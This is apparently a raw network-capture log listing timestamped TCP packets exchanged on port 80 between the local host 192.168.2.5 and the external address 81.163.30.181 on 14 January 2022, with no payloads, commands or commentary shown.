Jan 14, 2022 21:05:51.137128115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137135983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137166023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137204885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137217999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137244940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137291908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137300968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137336969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137375116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137406111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137415886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137458086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137471914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137497902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137537956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137552977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137579918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137619972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137626886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137661934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137701035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137705088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137741089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137779951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137788057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137819052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137866974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137886047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137928009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137964964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137983084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138008118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138047934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138062000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138087034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138130903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138139009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138170958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138209105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138214111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138247967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138287067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138294935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138328075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138367891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138371944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138407946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138448000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138463020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138488054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138525963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138564110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138602018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138628960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138638973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138642073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138698101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138736963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138756990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138802052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138808012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138842106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138880014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138892889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.138921976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138969898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.138983011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139009953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139050961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139062881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139091969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139139891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139139891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139182091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139219046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139230967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139259100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139297009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139336109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139375925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139414072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139441013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139446974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139452934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139456987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139494896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139535904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139549971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139584064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139624119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139636040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139663935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139703989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139717102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139741898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139796019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139803886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139839888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139877081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139878988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139916897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139955997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.139969110 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.139997005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.140038013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.140042067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.146706104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.150362015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.150407076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.150449991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198085070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198152065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198218107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198230028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198282957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198290110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198332071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198374033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198410034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198415041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198473930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198504925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198513985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198565960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198577881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198613882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198654890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198671103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198695898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198734999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198751926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198777914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198818922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198834896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198859930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198901892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198919058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.198942900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.198993921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199054956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199103117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199143887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199151993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199187040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199225903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199233055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199273109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199312925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199320078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199352980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199393034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199398994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199434996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199475050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199492931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199517965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199556112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199570894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199596882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199636936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199644089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199676037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199716091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199723005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199757099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199796915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199803114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199841022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199878931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199892998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.199927092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199973106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.199979067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200012922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200052977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200061083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200093031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200134039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200153112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200176001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200213909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200229883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200256109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200295925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200304985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200335979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200376034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200385094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200417042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200457096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200474024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200498104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200536966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200545073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200578928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200618982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200649977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200658083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200700045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200707912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200742960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200783014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200790882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200825930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200864077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200879097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200906992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200948000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.200953960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.200985909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201025009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201042891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201069117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201109886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201136112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201153040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201190948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201210976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201231956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201271057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201289892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201313972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201354980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201368093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201395035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201436043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201452017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201478958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201517105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201543093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.201560020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.201610088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.204504013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.208498001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.208576918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.223529100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259608030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259643078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259669065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259694099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259707928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259721994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259747028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259769917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259772062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259799004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259799957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259826899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259841919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259854078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259877920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259902000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259919882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259923935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259946108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259949923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259974957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.259984970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.259999037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260025024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260036945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260049105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260072947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260083914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260098934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260123014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260135889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260148048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260170937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260184050 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260194063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260219097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260231018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260241985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260265112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260276079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260289907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260314941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260327101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260339022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260365963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260374069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260389090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260413885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260425091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260440111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260462999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260474920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260487080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260512114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260524988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260535002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260559082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260569096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260582924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260607958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260621071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260631084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260654926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260665894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260679960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260704041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260716915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260725975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260751963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260761976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260776997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260801077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260814905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260824919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260849953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260859013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260874033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260899067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260910988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260925055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260948896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260957956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.260973930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.260999918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261010885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261024952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261048079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261059046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261073112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261097908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261109114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261120081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261147022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261162043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261168957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261193991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261203051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261217117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261240005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261257887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.261260986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261282921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.261301041 CET	49882	80	192.168.2.5	81.163.30.181
